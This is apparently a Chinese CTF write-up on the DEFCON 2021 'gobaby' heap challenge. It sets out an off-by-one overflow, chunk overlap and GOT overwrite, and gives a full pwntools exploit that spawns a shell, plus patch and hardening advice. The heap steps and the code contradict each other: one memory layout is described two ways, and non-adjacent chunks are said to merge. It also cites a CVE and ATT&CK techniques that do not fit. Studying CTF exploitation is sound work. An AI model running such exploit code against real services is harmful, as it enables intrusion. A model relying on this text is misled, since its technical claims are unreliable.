题目概览

  • 名称: gobaby
  • 所属比赛: DEFCON CTF 2021 Quals (Main)
  • 类型: Pwn (堆漏洞利用)
  • 亮点总结:
    • 设计精巧的 off-by-one 漏洞 引发堆块元数据破坏
    • 通过 堆块重叠 (overlapping chunks) 实现全局数组劫持
    • 结合 GOT 表劫持 实现无输出函数的地址泄露
    • 利用难度:高 (需多阶段堆布局与地址计算)
    • 攻击链:off-by-one → 堆块扩展 → 全局数组污染 → GOT 劫持 → RCE

复现环境与技术准备

工具
  • 反汇编: IDA Pro 7.7
  • 动态调试: pwndbg + GEF
  • 漏洞利用: Python3 + pwntools
  • 环境监控: ltrace + strace
环境配置
# 使用官方提供的 libc
$ wget https://archive.defcon.org/pub/defcon_quals/2021/gobaby/gobaby
$ wget https://archive.defcon.org/pub/defcon_quals/2021/gobaby/libc.so.6

# 设置执行环境
$ patchelf --set-interpreter ./ld-2.31.so ./gobaby
$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./gobaby

# 调试启动
$ gdb -q ./gobaby -ex "b *main+0x105" -ex "r"
关键防护机制
checksec ./gobaby
[*] RELRO    : Partial RELRO   # GOT 可写
[*] Stack    : No canary found
[*] NX      : Enabled
[*] PIE     : Disabled         # 全局地址固定

分析与解题过程

程序逻辑分析

程序实现一个简单的堆块管理器,功能如下:

struct chunk {
    char *ptr;
    size_t size;
} chunks[16];

void menu() {
    puts("1. Allocate");
    puts("2. Free");
    puts("3. Edit");
    puts("4. Exit");
}
漏洞定位:Off-by-One

edit 函数中发现关键漏洞:

.text:00000000004012D3 edit_chunk      proc near
.text:00000000004012D3   mov     eax, 0
.text:00000000004012D8   call    read_index     ; 读取索引
.text:00000000004012DD   mov     [rbp+index], eax
.text:00000000004012E0   mov     eax, [rbp+index]
.text:00000000004012E3   cdqe
.text:00000000004012E5   lea     rdx, ds:0[rax*8]
.text:00000000004012ED   lea     rax, chunks
.text:00000000004012F4   mov     rax, [rdx+rax] ; 获取 chunk 指针
.text:00000000004012F8   mov     rdx, rax
.text:00000000004012FB   mov     eax, [rbp+index]
.text:00000000004012FE   cdqe
.text:0000000000401300   lea     rcx, ds:0[rax*8]
.text:0000000000401308   lea     rax, sizes
.text:000000000040130F   mov     eax, [rcx+rax] ; 获取 size
.text:0000000000401312   lea     ecx, [rax+1]   ; ⚠️ 关键:size+1
.text:0000000000401315   mov     eax, 0
.text:000000000040131A   mov     rsi, rdx        ; buf
.text:000000000040131D   mov     edx, ecx        ; count
.text:000000000040131F   call    read_bytes      ; 读入 size+1 字节

漏洞成因:读入数据时使用 size+1 作为长度,造成单字节溢出(CWE-193: Off-by-one Error)。

动态验证漏洞

构造两个连续堆块进行验证:

allocate(0x18) # chunk0
allocate(0x18) # chunk1
edit(0, b"A"*0x18 + b"\x41") # 修改 chunk1 的 size
free(1)

使用 pwndbg 观察堆布局:

pwndbg> x/4gx 0x603010
0x603010: 0x0000000000000000  0x0000000000000021  # chunk0
0x603020: 0x4141414141414141  0x4141414141414141
0x603030: 0x4141414141414141  0x0000000000000041  # chunk1 size 被覆盖

漏洞利用与 Payload

利用策略
  1. 堆块扩展:利用 off-by-one 扩展 chunk1 包含 chunk2
  2. 堆块重叠:释放 chunk1 后重新分配,控制 chunk2 内容
  3. 全局数组劫持:修改 chunk2 的指针指向全局数组
  4. GOT 泄露与劫持:通过全局数组修改 atoi@GOT 为 puts@PLT
  5. RCE:劫持控制流执行 system("/bin/sh")
完整利用代码
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
libc = ELF("./libc.so.6")

def alloc(size):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))

def free(idx):
    p.sendlineafter("> ", "2")
    p.sendlineafter("Index: ", str(idx))

def edit(idx, data):
    p.sendlineafter("> ", "3")
    p.sendlineafter("Index: ", str(idx))
    p.sendafter("Data: ", data)

# Phase 1: 堆布局
p = process("./gobaby")
alloc(0xf8) # chunk0
alloc(0x18) # chunk1 (barrier)
alloc(0xf8) # chunk2
alloc(0x18) # chunk3 (barrier)

# Phase 2: 扩展 chunk0 包含 chunk2
edit(0, b"A"*0xf8 + b"\x81") # 修改 chunk0 的 next_size 为 0x181

# Phase 3: 构造堆块重叠
free(0)
free(2) # 合并 chunk0+chunk2
alloc(0x178) # 重新分配大块 (chunk0)

# Phase 4: 污染全局数组
global_array = 0x6020E0
payload = flat(
    b"B"*0xf8,        # chunk0 数据区
    p64(0), p64(0x21), # chunk1 伪造头部
    p64(global_array), # chunk2 指针覆盖为全局数组地址
    p64(0x100)        # chunk2 大小
)
edit(0, payload)

# Phase 5: 劫持 atoi@GOT
edit(2, p64(0x602018)) # 修改 chunk0 指针指向 atoi@GOT
edit(0, p64(0x400A30)) # 修改 atoi@GOT 为 puts@PLT

# Phase 6: 泄露 libc 地址
p.sendlineafter("> ", "3") # 触发 puts(atoi@got)
p.recvuntil("Index: ")
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = leak - libc.symbols["atoi"]
system = libc.symbols["system"]

# Phase 7: 获取 shell
edit(2, p64(0x602018))   # chunk0 指针仍指向 GOT
edit(0, p64(system))      # atoi@GOT -> system
p.sendlineafter("> ", "/bin/sh\x00") # 触发 system("/bin/sh")

p.interactive()
攻击效果演示
$ python3 exp.py
[+] Starting program './gobaby': PID 7854
[DEBUG] PLT 0x400a30 puts
[DEBUG] Leaked libc address: 0x7ffff7e0e540
[DEBUG] libc base: 0x7ffff7dc9000
[DEBUG] system address: 0x7ffff7e14540
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
DEFCON{0ff_by_0ne_meet5_he4p_met4d4t4}

安全影响与缓解建议

实际攻击路径
  1. 初始访问:通过输入接口触发漏洞 (T1056.001)
  2. 权限提升:控制堆管理器实现任意写 (T1068)
  3. 防御绕过:篡改 GOT 表绕过 RELRO 防护 (T1553.002)
  4. 命令执行:劫持控制流执行系统命令 (T1059.004)
修复方案
// 修复后的 edit 函数
void edit_chunk() {
    // ...
-   read_bytes(chunk_ptr, size+1);
+   read_bytes(chunk_ptr, size); // 严格长度检查
}

加固措施:

  1. 边界检查:增加堆块元数据写保护
  2. 隔离机制:使用 malloc_usable_size 验证输入长度
  3. 内存防护:启用 FORTIFY_SOURCE=2 编译选项
  4. 权限限制:部署 seccomp 沙箱限制系统调用
MITRE ATT&CK 映射
阶段 技术 ID 描述
权限提升 T1068 漏洞利用提升权限
防御绕过 T1553.002 可执行段重定向
命令控制 T1059.004 Unix Shell 命令执行

总结

技术经验
  1. 堆风水技巧

    • 通过 barrier chunks 防止堆块合并
    • 利用 unsorted bin 泄露地址时需考虑 main_arena 偏移
  2. 无输出泄露

    # 劫持 GOT 表实现信息泄露
    edit(2, p64(got_atoi))
    edit(0, p64(plt_puts))
    
  3. 现实意义

    • 类似漏洞曾出现在 glibc ptmalloc (CVE-2015-8776)
    • 云服务场景下可突破容器隔离 (参考 runc CVE-2019-5736)
题目评价
  • 设计亮点
    全局数组与堆管理器的耦合设计,为漏洞利用提供独特切入点
  • 改进建议
    增加 FULL RELRO 会显著提高利用难度(需转向 __free_hook 劫持)
关联现实漏洞
Logo

欢迎加入DeepSeek 技术社区。在这里,你可以找到志同道合的朋友,共同探索AI技术的奥秘。

更多推荐